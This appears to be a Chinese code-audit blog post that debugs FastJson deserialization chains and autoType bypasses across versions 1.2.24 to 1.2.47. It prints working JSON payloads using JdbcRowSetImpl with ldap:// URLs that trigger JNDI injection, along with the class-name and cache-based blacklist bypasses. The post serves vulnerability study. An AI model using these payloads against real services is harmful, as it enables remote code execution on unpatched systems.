Java代码审计FastJson反序列化利用链跟踪动态调试autoType绕过

news2025/1/12 5:55:14

目录

0x00 前言

0x01 基础参考

JNDI注入实例

使用@type加入User类解析

FastJson历史漏洞简介

0x02 FastJson 1.2.24 利用链分析

调试过程

构造Poc思路

CC链关键流程

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport:1.2.25-1.2.41

调试过程

构造Poc思路

CC链关键流程

疑问

2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)

CC链关键流程

构造Poc思路


0x00 前言

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基础参考

JNDI注入实例

关于 javax.naming.InitialContext.lookup(),在我之前的文章讲过,不再赘述

文章链接:JNDI注入&Log4j&FastJson&白盒审计&不回显处理-CSDN博客

方式1:
new InitialContext().lookup("ldap://192.168.196.128:1389/anqqyh");

方式2:
InitialContext var1 = new InitialContext();

DataSource lookup = (DataSource) var1.lookup("ldap://192.168.196.128:1389/anqqyh");
使用@type加入User类解析
String userStr = "{\"@type\":\"com.example.fastjsondemo.demos.web.User\",\"age\":21,\"name\":\"ch4ser\"}";

JSONObject data = JSON.parseObject(userStr);

System.out.println(data);

观察到 FastJson 解析 JSON 字符串时会自动执行类的 get 和 set 方法,这是因为 FastJson 反序列化用的是自定义方法,而不是原生的反序列化(原生的并不会执行类的 get 和 set 方法),这也是后续利用的关键点

FastJson历史漏洞简介

1.2.24及以下没有对序列化的类做校验,导致漏洞产生

1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。

1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验

1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

0x02 FastJson 1.2.24 利用链分析

Poc:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
	"autoCommit":true
}
调试过程

在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析

步入,发现 parseObject() 其实也会用到 parse(),这里的 parse() 是 JSONObject 类的方法

步入,这里首先创建一个 DefaultJSONParser 对象,然后调用 parse() 方法来解析 JSON 字符串

DefaultJSONParser 是 FastJson 解析 JSON 字符串的核心组件,parse() 是 DefaultJSONParser 类中的一个方法

整个解析过程分为两个阶段:

1、判断是否为 JSON 字符串格式

2、键(key)  、值(value) 的获取

来到 DefaultJSONParser.class,关注到如下代码:

1、判断 key 是否等于 DEFAULT_TYPE_KEY(即@type)

2、调用 scanSymbol 方法解析出 key 对应的 value

3、通过 loadClass 获取指定类的 Class 对象并赋值给变量 clazz(涉及Java反射机制)

继续跟进,这里通过 getDeserializer 获取反序列化器,然后调用其 deserialze 方法进行反序列化

点击调试窗的 Navigate,来到对应反序列化的类 JdbcRowSetImpl.class

发现该类的 connect() 方法使用了 InitialContext.lookup(),这就是造成JNDI 注入的关键点

继续搜索发现 setAutoCommit 方法调用了 connect 方法

构造Poc思路
1、由于 lookup() 传入的变量为 this.getDataSourceName(),想到可以控制 dataSourceName 值,让其等于 ldap://192.168.196.128:1389/5ltgie 构造 JNDI 注入

2、由于 setAutoCommit 调用了 connect,那么控制 autoCommit 为 true 即可触发

3、完整的 Poc 为:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
	"autoCommit":true
}
CC链关键流程

parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->

JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport:1.2.25-1.2.41
1、autoTypeSupport?
autoTypeSupport默认是关闭的

2、怎么打开autoTypeSupport?
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

2、Poc?
在原来基础上前加 "L",后加 ";"
{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
	"autoCommit":true
}
调试过程

在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析

来到 DefaultJSONParser.class,与之前不同的是这里新增了 checkAutoType 方法,顾名思义就是用来检测 autoTypeSupport 的

步入,由于开启了 autoTypeSupport=true,所以这里进行了白、黑名单检测

我没有进行任何修改情况下,白名单默认是空的,黑名单有22个

经过白、黑名单后,下一步又来到了熟悉的 loadClass

步入,发现其做了两个处理:

1、若 className 开头为 "]",则获取去掉后 "]" 的 Class 对象

2、若 className 开头为 "L" 且结尾为 ";",则获取去掉 "L" 和 ";" 后的 Class 对象

在未处理前,className 如下:

在处理后,className 如下:

由此可见又变回了 com.sun.rowset.JdbcRowSetImpl,后续操作同理,不再赘述

构造Poc思路
1、由于 loadClass 对以"L"为开头且以";"为结尾的className做了去除处理,所以只需前加"L"后加";"即可
3、完整的 Poc 为:
{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
	"autoCommit":true
}
CC链关键流程

checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName

疑问

若默认关闭autoTypeSupport,整个Poc执行流程是怎样的呢?如下:

来到 DefaultJSONParser.class,可以看到这里 autoTypeSupport 是为 false的,所以没有像开启时一样进入这个白、黑名单判断

而是来到了下面这个黑、白名单判断

紧接着来到了下面的 if 判断,最终抛出了异常,GG掉了

后续版本绕过思路(开启 autoTypeSupport 情况):

1.2.42 版本:
该版本先判断反序列化目标类的类名前后是不是 'L' 和 ';' 
若是,则先去掉 'L' 和 ';' ,再黑白名单校验
其绕过非常简单,只需要双写 'L' 和 ';'


1.2.43 版本:
黑白名单判断前,新增了一个是否以 'LL' 开头的判断
若以 'LL' 开头,则直接抛异常,非常随意解决了双写的问题
但是除了'L' 和 ';',FastJson在加载类的时候,对 '[' 也特殊处理了
其绕过为在前面添加 '['

1.2.44 版本:
来了个狠的,只要你以 '[' 开头或者 ';' 结尾,直接抛异常,终于解决了缠绵多个版本的漏洞

2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
1、poc?
testStr={
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r",
        "autoCommit":true
    }
}

这种通杀方案不需要开启 autoTypeSupport,同样我也跟着调试了一遍,但是跟的不是很清晰,后来问师傅才知道为什么这个 poc 要这样写。

CC链关键流程

FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。

第一步利用java.lang.Class将恶意类加载到mappings中;

第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。

构造Poc思路

简单来说,可以理解为 java.lang.Class 是白名单,先用 a 的 java.lang.Class 白名单把 com.sun.rowset.JdbcRowSetImpl 恶意类加载到 mappings,然后到处理 b 的时候就直接从 mappings 拿数据,就不会进入到黑名单了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1388113.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

#RAG##AIGC#检索增强生成 (RAG) 基本介绍和入门实操示例

本文包括RAG基本介绍和入门实操示例 RAG 基本介绍 通用语言模型可以进行微调以实现一些常见任务,例如情感分析和命名实体识别。这些任务通常不需要额外的背景知识。 对于更复杂和知识密集型的任务,可以构建基于语言模型的系统来访问外部知识源来完成任…

pl/sql程序块的使用

-- Created on 2024-01-15 by ADMINISTRATOR declare -- Local variables hererecord_tablename varchar2(100);---test_record表名record_StartNo integer(19);---test_record开始编号temp_No integer(19);maxnbbh integer(19);nCnt integer : 20;fi…

通用外设-W25Q64

前言 一、SPI通信 二、W25Q64基初时序 1.各种命令代码 2.代码 1.写使能指令 2.读取芯片是否忙碌状态并等待 3.写入数据 4.擦除函数操作 5.读取代码 三.验证 四.擦除说明 总结 前言 在单片机中一般32K FLASH就够用了,但是当我们使用图片或其他大量数据时…

K8s(二)Pod资源——node调度策略、node亲和性、污点与容忍度

目录 node调度策略nodeName和nodeSelector 指定nodeName 指定nodeSelector node亲和性 node节点亲和性 硬亲和性 软亲和性 污点与容忍度 本文主要介绍了在pod中,与node相关的调度策略,亲和性,污点与容忍度等的内容 node调度策略node…

深度学习中指定特定的GPU使用

目录 前言1. 问题所示2. 解决方法 前言 老生常谈,同样的问题,主要来源于:RuntimeError: CUDA error: out of memory 当使用完之后,想从其他方式调试,具体可看我这篇文章的:出现 CUDA out of memory 的解决…

Ps:认识路径

在 Photoshop 中,路径 Path广泛地应用于创建精确的图像边界(包括精准抠图)以及复杂的图形设计之中。 路径又称为“矢量路径”,或者“贝塞尔曲线” Bezier Curves路径。 路径本身只是一种基于数学方程的“轮廓指示”,并…

Python数据分析案例31——中国A股的月份效应研究(方差分析,虚拟变量回归)

案例背景 本次案例是博主本科在行为金融学课程上做的一个小项目,最近看很多经管类的学生作业都很需要,我就用python来重新做了一遍。不弄那些复杂的机器学习模型了,经管类同学就用简单的统计学方法来做模型就好。 研究目的 有效市场假说是现…

论文复现|tightly focused circularly polarized ring Airy beam

请尊重原创的劳动成果 如需要转载,请后台联系 前言 采用MATLAB复现一篇论文里面的插图,涡旋光束的聚焦的仿真方式有很多种,这里采用MATLAB进行仿真,当然也有其他的很多方式,不同的方式各有千秋。 论文摘要 本文证明…

Sqoop安全性:确保安全的数据传输

确保数据传输的安全性在大数据处理中至关重要。Sqoop作为一个用于数据传输的工具,也提供了多种安全性措施,以确保数据在传输过程中的机密性和完整性。本文将深入探讨Sqoop的安全性特性,提供详细的示例代码和全面的内容,以帮助大家…

压缩编码之不同缩放参数对重建图像质量的影响的python实现——JPEG变换编码不同压缩率的模拟

原理 JPEG(Joint Photographic Experts Group)是一种常用的图像压缩标准,它通过采用离散余弦变换(DCT)和量化来实现图像的压缩。 离散余弦变换(DCT): JPEG首先将图像分割成8x8的块…

彝族民居一大特色——土掌房

彝族民居一大特色——土掌房在彝区,各地、各支系传承的居室建筑形式是多种多样的,并与当地的居住习俗有密切关联,从村寨的聚落到住宅的地址;从房间的分置到什物的堆放;从建筑结构到民居信仰和禁忌,都表现出…

U-Boot学习(3):.config、defconfig文件对比及图形化配置Kconfig

在上一节中,我们介绍了U-Boot编译和.config配置文件生成分析,我们可以通过make xxx__defconfig来进行一些配置,其中xxx__defconfig对应config目录下的基于不同开发板的一些配置,指令执行完后会根据对应的配置在根目录下生成一个.c…

基于java web的机票管理系统设计与实现设计与实现

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:采用JSP技术开发 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目&#x…

Redis主从架构、哨兵集群原理实战

1.主从架构简介 背景 单机部署简单,但是可靠性低,且不能很好利用CPU多核处理能力生产环境必须要保证高可用,一般不可能单机部署读写分离是可用性要求不高、性能要求较高、数据规模小的情况 目标 读写分离,扩展主节点的读能力&…

多选下拉框数据溢出父页面高度被截断

问题 解决 给父页面div一个最小高度minHeight。 <div style{{minHeight: 300,marginTop: 20}}><Row><Select...</Row> </div>&#xff08;在我的具体实例中&#xff0c;下拉框与表格页面都为Tabs ——> TabPane 所包含。故下拉框高度超出页面高…

【Spring实战】29 @Value 注解

文章目录 1. 定义2. 好处3. 示例1&#xff09;注入基本类型2&#xff09;注入集合类型3&#xff09;使用默认值4&#xff09;注入整数和其他类型 总结 在实际的应用中&#xff0c;我们经常需要从外部配置文件或其他配置源中获取参数值。Spring 框架提供了 Value 注解&#xff0…

基于SSM的网上购物商城设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

任务13:使用MapReduce对天气数据进行ETL(获取各基站ID)

任务描述 知识点&#xff1a; 天气数据进行ETL 重 点&#xff1a; 掌握MapReduce程序的运行流程熟练编写MapReduce程序使用MapReduce进行ETL 内 容&#xff1a; 编写MapReduce程序编写Shell脚本&#xff0c;获取MapReduce程序的inputPath将生成的inputPath文件传入到Wi…

【Debian】非图形界面Debian10.0.0安装xfce和lxde桌面

一、安装 1. Debian10.0.0安装xfce桌面 sudo apt update sudo apt install xfce4 startxfce4 2. Debian10.0.0安装lxde桌面 sudo apt-get install lxde安装后重启电脑。 二、说明 XFCE、LXDE 和 GNOME 是三个流行的桌面环境&#xff0c;它们都是为类 Unix 操作系统设计…

【数位dp】【C++算法】600. 不含连续1的非负整数

作者推荐 【矩阵快速幂】封装类及测试用例及样例 涉及知识点 数位dp LeetCode600. 不含连续1的非负整数 给定一个正整数 n &#xff0c;请你统计在 [0, n] 范围的非负整数中&#xff0c;有多少个整数的二进制表示中不存在 连续的 1 。 示例 1: 输入: n 5 输出: 5 解释: 下…